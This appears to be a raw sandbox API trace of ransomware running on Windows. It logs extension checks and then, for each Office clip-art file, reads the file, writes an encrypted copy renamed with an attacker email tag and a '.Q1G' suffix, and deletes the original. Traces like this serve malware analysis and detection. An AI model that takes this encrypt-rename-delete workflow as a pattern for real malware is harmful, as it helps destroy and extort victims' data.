[0253.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.301] lstrlenW (lpString=".zip") returned 4 [0253.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.301] lstrlenW (lpString=".rar") returned 4 [0253.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.301] lstrlenW (lpString=".bz2") returned 4 [0253.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.301] lstrlenW (lpString=".7z") returned 3 [0253.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.301] lstrlenW (lpString=".dbf") returned 4 [0253.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.301] lstrlenW (lpString=".1cd") returned 4 [0253.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.301] lstrlenW (lpString=".jpg") returned 4 [0253.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.302] lstrlenW (lpString=".doc") returned 4 [0253.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.302] lstrlenW (lpString=".docx") returned 5 [0253.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.302] lstrlenW (lpString=".pdf") returned 4 [0253.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.302] lstrlenW (lpString=".xls") returned 4 [0253.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.302] lstrlenW (lpString=".xlsx") returned 5 [0253.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.302] lstrlenW (lpString=".ppt") returned 4 [0253.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.302] lstrlenW (lpString=".zip") returned 4 [0253.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.302] lstrlenW (lpString=".rar") returned 4 [0253.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.302] lstrlenW (lpString=".bz2") returned 4 [0253.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.302] lstrlenW (lpString=".7z") returned 3 [0253.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.302] lstrlenW (lpString=".dbf") returned 4 [0253.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.302] lstrlenW (lpString=".1cd") returned 4 [0253.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0253.303] lstrlenW (lpString=".jpg") returned 4 [0253.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.303] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.303] lstrlenW (lpString="IN00957_.WMF") returned 12 [0253.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.303] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2944) returned 1 [0253.303] CloseHandle (hObject=0x1bc) returned 1 [0253.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0253.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.304] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.304] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.304] GetLastError () returned 0x0 [0253.304] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb80, lpOverlapped=0x0) returned 1 [0253.306] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0253.318] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.318] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.318] SetEndOfFile (hFile=0x200) returned 1 [0253.318] CloseHandle (hObject=0x200) returned 1 [0253.318] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.318] SetEndOfFile (hFile=0x1bc) returned 1 [0253.321] CloseHandle (hObject=0x1bc) returned 1 [0253.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0253.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.323] lstrlenW (lpString=".doc") returned 4 [0253.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString=".docx") returned 5 [0253.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.323] lstrlenW (lpString=".pdf") returned 4 [0253.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString=".xls") returned 4 [0253.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.323] lstrlenW (lpString=".xlsx") returned 5 [0253.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.323] lstrlenW (lpString=".ppt") returned 4 [0253.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.323] lstrlenW (lpString=".zip") returned 4 [0253.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.323] lstrlenW (lpString=".rar") returned 4 [0253.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString=".bz2") returned 4 [0253.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString=".7z") returned 3 [0253.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.323] lstrlenW (lpString=".dbf") returned 4 [0253.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.323] lstrlenW (lpString=".1cd") returned 4 [0253.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.323] lstrlenW (lpString=".jpg") returned 4 [0253.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.323] lstrlenW (lpString=".doc") returned 4 [0253.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.323] lstrlenW (lpString=".docx") returned 5 [0253.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.324] lstrlenW (lpString=".pdf") returned 4 [0253.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.324] lstrlenW (lpString=".xls") returned 4 [0253.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.324] lstrlenW (lpString=".xlsx") returned 5 [0253.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.324] lstrlenW (lpString=".ppt") returned 4 [0253.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.324] lstrlenW (lpString=".zip") returned 4 [0253.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.324] lstrlenW (lpString=".rar") returned 4 [0253.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.324] lstrlenW (lpString=".bz2") returned 4 [0253.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.324] lstrlenW (lpString=".7z") returned 3 [0253.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.324] lstrlenW (lpString=".dbf") returned 4 [0253.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.324] lstrlenW (lpString=".1cd") returned 4 [0253.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0253.324] lstrlenW (lpString=".jpg") returned 4 [0253.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.324] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0253.324] lstrlenW (lpString="J0075478.GIF") returned 12 [0253.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.326] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1220) returned 1 [0253.326] CloseHandle (hObject=0x1bc) returned 1 [0253.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0253.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.326] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.326] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.327] GetLastError () returned 0x0 [0253.327] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4c4, lpOverlapped=0x0) returned 1 [0253.328] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0253.329] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.329] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.329] SetEndOfFile (hFile=0x200) returned 1 [0253.329] CloseHandle (hObject=0x200) returned 1 [0253.329] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.329] SetEndOfFile (hFile=0x1bc) returned 1 [0253.331] CloseHandle (hObject=0x1bc) returned 1 [0253.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0253.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.332] lstrlenW (lpString=".doc") returned 4 [0253.332] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0253.332] lstrlenW (lpString=".docx") returned 5 [0253.332] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0253.332] lstrlenW (lpString=".pdf") returned 4 [0253.332] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0253.332] lstrlenW (lpString=".xls") returned 4 [0253.332] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0253.332] lstrlenW (lpString=".xlsx") returned 5 [0253.332] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0253.332] lstrlenW (lpString=".ppt") returned 4 [0253.332] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0253.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.332] lstrlenW (lpString=".zip") returned 4 [0253.332] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString=".rar") returned 4 [0253.333] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString=".bz2") returned 4 [0253.333] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0253.333] lstrlenW (lpString=".7z") returned 3 [0253.333] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0253.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.333] lstrlenW (lpString=".dbf") returned 4 [0253.333] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0253.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.333] lstrlenW (lpString=".1cd") returned 4 [0253.333] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0253.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.333] lstrlenW (lpString=".jpg") returned 4 [0253.333] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.333] lstrlenW (lpString=".doc") returned 4 [0253.333] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0253.333] lstrlenW (lpString=".docx") returned 5 [0253.333] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0253.333] lstrlenW (lpString=".pdf") returned 4 [0253.333] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString=".xls") returned 4 [0253.333] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString=".xlsx") returned 5 [0253.333] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0253.333] lstrlenW (lpString=".ppt") returned 4 [0253.333] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.333] lstrlenW (lpString=".zip") returned 4 [0253.333] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString=".rar") returned 4 [0253.333] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0253.333] lstrlenW (lpString=".bz2") returned 4 [0253.334] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0253.334] lstrlenW (lpString=".7z") returned 3 [0253.334] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0253.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.334] lstrlenW (lpString=".dbf") returned 4 [0253.334] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0253.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.334] lstrlenW (lpString=".1cd") returned 4 [0253.334] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0253.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0253.334] lstrlenW (lpString=".jpg") returned 4 [0253.334] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0253.334] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.334] lstrlenW (lpString="J0086384.WMF") returned 12 [0253.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.335] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9734) returned 1 [0253.335] CloseHandle (hObject=0x1bc) returned 1 [0253.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0253.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.335] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.336] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.336] GetLastError () returned 0x0 [0253.336] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2606, lpOverlapped=0x0) returned 1 [0253.338] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2610, lpOverlapped=0x0) returned 1 [0253.338] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.338] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.339] SetEndOfFile (hFile=0x200) returned 1 [0253.339] CloseHandle (hObject=0x200) returned 1 [0253.339] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.339] SetEndOfFile (hFile=0x1bc) returned 1 [0253.341] CloseHandle (hObject=0x1bc) returned 1 [0253.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.342] lstrlenW (lpString=".doc") returned 4 [0253.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.342] lstrlenW (lpString=".docx") returned 5 [0253.342] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0253.342] lstrlenW (lpString=".pdf") returned 4 [0253.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.342] lstrlenW (lpString=".xls") returned 4 [0253.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.342] lstrlenW (lpString=".xlsx") returned 5 [0253.342] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0253.342] lstrlenW (lpString=".ppt") returned 4 [0253.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.342] lstrlenW (lpString=".zip") returned 4 [0253.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.342] lstrlenW (lpString=".rar") returned 4 [0253.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.342] lstrlenW (lpString=".bz2") returned 4 [0253.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.342] lstrlenW (lpString=".7z") returned 3 [0253.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.342] lstrlenW (lpString=".dbf") returned 4 [0253.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 